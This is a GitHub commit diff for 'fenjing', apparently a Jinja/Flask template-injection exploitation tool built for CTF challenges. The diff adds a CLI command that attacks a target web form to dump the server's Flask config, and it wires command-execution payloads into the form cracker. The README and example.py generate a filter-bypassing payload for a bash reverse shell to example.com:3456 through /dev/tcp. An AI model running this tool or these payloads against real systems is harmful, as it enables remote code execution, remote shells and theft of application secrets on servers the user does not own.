Skip to content

Commit

Permalink
Merge branch 'dev'
Browse files Browse the repository at this point in the history
  • Loading branch information
Marven11 authored and Marven11 committed May 15, 2023
2 parents f56d1a7 + 34e3a09 commit eff12ef
Show file tree
Hide file tree
Showing 16 changed files with 593 additions and 209 deletions.
34 changes: 22 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@

## 演示

![CTFShow web365](assets/demo.webp)
![demo](assets/demo.webp)

## 快速上手

Expand Down Expand Up @@ -138,35 +138,45 @@ Options:
--interval FLOAT 每次请求的间隔
--user-agent TEXT 请求时使用的User Agent
--help Show this message and exit.
Usage: python -m fenjing get-config [OPTIONS]
攻击指定的表单,并获得目标服务器的flask config
Options:
-u, --url TEXT form所在的URL
-a, --action TEXT form的action,默认为当前路径
-m, --method TEXT form的提交方式,默认为POST
-i, --inputs TEXT form的参数,以逗号分隔
--interval FLOAT 每次请求的间隔
--user-agent TEXT 请求时使用的User Agent
--help Show this message and exit.
```

### 作为python库使用

参考[example.py](example.py)

```python
from fenjing import exec_cmd_payload

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "request", "lipsum",
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"","","","","","","","","",""
]
return all(word in s for word in blacklist)

for word in blacklist:
if word in s:
return False
return True

payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)

print(payload)
print(f"{shell_payload=}")
print(f"{config_payload=}")

```

18 changes: 8 additions & 10 deletions example.py
Original file line number Diff line number Diff line change
@@ -1,22 +1,20 @@
from fenjing import exec_cmd_payload

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "request", "lipsum",
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word in s for word in blacklist)

for word in blacklist:
if word in s:
return False
return True
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)

payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
print(f"{shell_payload=}")
print(f"{config_payload=}")

print(payload)
1 change: 1 addition & 0 deletions fenjing/__init__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from . import exceptions, payload_gen
from .shell_payload import exec_cmd_payload
from .config_payload import config_payload
from .int_vars import get_useable_int_vars
from .form import Form, fill_form
78 changes: 64 additions & 14 deletions fenjing/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,10 @@

from .form import Form
from .form_cracker import FormCracker
from .full_payload_gen import FullPayloadGen
from .scan_url import yield_form
from .requester import Requester, DEFAULT_USER_AGENT
from .requester import Requester
from .const import DEFAULT_USER_AGENT, OS_POPEN_READ, CONFIG
from .colorize import colored
import click

Expand All @@ -28,8 +30,8 @@
logger = logging.getLogger("cli")


def cmd_exec(cmd, cracker: FormCracker, field: str, payload_gen: Callable):
payload = payload_gen(cmd)
def cmd_exec(cmd, cracker: FormCracker, field: str, full_payload_gen: FullPayloadGen):
payload = full_payload_gen.generate(OS_POPEN_READ, cmd)
logger.info(f"Submit payload {colored('blue', payload)}")
r = cracker.submit(
{field: payload})
Expand Down Expand Up @@ -63,6 +65,52 @@ def main():
pass


@main.command()
@click.option("--url", "-u", help="form所在的URL")
@click.option("--action", "-a", default=None, help="form的action,默认为当前路径")
@click.option("--method", "-m", default="POST", help="form的提交方式,默认为POST")
@click.option("--inputs", "-i", help="form的参数,以逗号分隔")
@click.option("--interval", default=0.0, help="每次请求的间隔")
@click.option("--user-agent", default=DEFAULT_USER_AGENT, help="请求时使用的User Agent")
def get_config(
url: str,
action: str,
method: str,
inputs: str,
interval: float,
user_agent: str):
"""
攻击指定的表单,并获得目标服务器的flask config
"""
print(TITLE)
assert all(param is not None for param in [
url, inputs]), "Please check your param"
form = Form(
action=action or urlparse(url).path,
method=method,
inputs=inputs.split(",")
)
requester = Requester(
interval=interval,
user_agent=user_agent
)
cracker = FormCracker(
url=url,
form=form,
requester=requester
)
result = cracker.crack()
if result is None:
logger.warning("Test form failed...")
return
full_payload_gen, field = result
payload = full_payload_gen.generate(CONFIG)
r = cracker.submit(
{field: payload})

print(r.text if r is not None else None)
logger.warning("Bye!")

@main.command()
@click.option("--url", "-u", help="form所在的URL")
@click.option("--action", "-a", default=None, help="form的action,默认为当前路径")
Expand Down Expand Up @@ -90,20 +138,22 @@ def crack(
method=method,
inputs=inputs.split(",")
)
requester = Requester(interval=interval, user_agent=user_agent)
cracker = FormCracker(url=url, form=form, requester=requester)
requester = Requester(
interval=interval,
user_agent=user_agent
)
cracker = FormCracker(
url=url,
form=form,
requester=requester
)
result = cracker.crack()
if result is None:
logger.warning("Test form failed...")
return
payload_gen, field = result
full_payload_gen, field = result
cmd_exec_func = partial(cmd_exec, cracker=cracker,
field=field, payload_gen=payload_gen)
# def cmd_exec_func(cmd):
# r = cracker.submit(
# {field: payload_gen(cmd)})
# assert r is not None
# return r.text
field=field, full_payload_gen=full_payload_gen)
if exec_cmd == "":
interact(cmd_exec_func)
else:
Expand All @@ -128,9 +178,9 @@ def scan(url, exec_cmd, interval, user_agent):
result = cracker.crack()
if result is None:
continue
payload_gen, field = result
full_payload_gen, field = result
cmd_exec_func = partial(cmd_exec, cracker=cracker,
field=field, payload_gen=payload_gen)
field=field, full_payload_gen=full_payload_gen)
# def cmd_exec_func(cmd):
# r = cracker.submit(
# {field: payload_gen(cmd)})
Expand Down
2 changes: 1 addition & 1 deletion fenjing/colorize.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,4 +29,4 @@ def colored(color, text, bold=False):
format_str = "\033[1;{};{}m{}\033[0m"
if color not in colors:
color = "blue"
return format_str.format(int(bold), colors[color], text)
return format_str.format(int(bold), colors[color], text)
26 changes: 26 additions & 0 deletions fenjing/config_payload.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
from typing import Callable, Tuple, Dict
from .const import CONFIG
from .full_payload_gen import FullPayloadGen

full_payload_store: Dict[int, FullPayloadGen] = {}

def config_payload(waf_func: Callable[[str, ], bool]) -> str | None:
"""根据提供的waf函数生成读取config的payload
Args:
waf_func (Callable[[str, ], bool]): waf函数,判断提供的payload能否通过waf, 能则返回True
Returns:
str|None: payload
"""
full_payload = None
if id(waf_func) not in full_payload_store:
full_payload = FullPayloadGen(waf_func)
full_payload_store[id(waf_func)] = full_payload
else:
full_payload = full_payload_store[id(waf_func)]
payload, will_print = full_payload.generate(CONFIG)
if not will_print:
return None
return payload

52 changes: 52 additions & 0 deletions fenjing/const.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
DEFAULT_USER_AGENT = "Fenjing/0.1"

LITERAL = "literal"
UNSATISFIED = "unsatisfied"
ZERO = "zero"
POSITIVE_INTEGER = "positive_integer"
INTEGER = "integer"
STRING_STRING_CONCNAT = "string_string_concat"
STRING_PERCENT = "string_percent"
STRING_PERCENT_LOWER_C = "string_percent_lower_c"
STRING_UNDERLINE = "string_underline"
STRING_LOWERC = "string_lower_c"
STRING_MANY_PERCENT_LOWER_C = "string_many_percent_lower_c"
STRING = "string"
FORMULAR_SUM = "formular_sum"
ATTRIBUTE = "attribute"
ITEM = "item"
CLASS_ATTRIBUTE = "class_attribute"
CHAINED_ATTRIBUTE_ITEM = "chained_attribute_item"
EVAL_FUNC = "eval_func"
EVAL = "eval"
CONFIG = "config"
MODULE_OS = "module_os"
OS_POPEN_OBJ = "os_popen_obj"
OS_POPEN_READ = "os_popen_read"

GEN_TYPES = [
"literal",
"unsatisfied",
"zero",
"positive_integer",
"integer",
"string_string_concat",
"string_percent",
"string_percent_lower_c",
"string_underline",
"string_lower_c",
"string_many_percent_lower_c",
"string",
"formular_sum",
"attribute",
"item",
"class_attribute",
"chained_attribute_item",
"eval_func",
"eval",
"config",
"module_os",
"os_popen_obj",
"os_popen_read",
]

2 changes: 1 addition & 1 deletion fenjing/exceptions.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
class NotTested(Exception):
pass
pass
3 changes: 2 additions & 1 deletion fenjing/form.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@

logger = logging.getLogger("utils.form")


def Form(*, action: str, inputs: Iterable, method: str = "POST") -> Dict[str, Any]:
"""根据输入生成一个表单
Expand Down Expand Up @@ -74,7 +75,7 @@ def random_fill(form):
}


def fill_form(url, form, form_inputs = None, random_fill_other = True):
def fill_form(url, form, form_inputs=None, random_fill_other=True):
"""根据输入填充表单,返回给requests库的参数
Args:
Expand Down
Loading

0 comments on commit eff12ef

Please sign in to comment.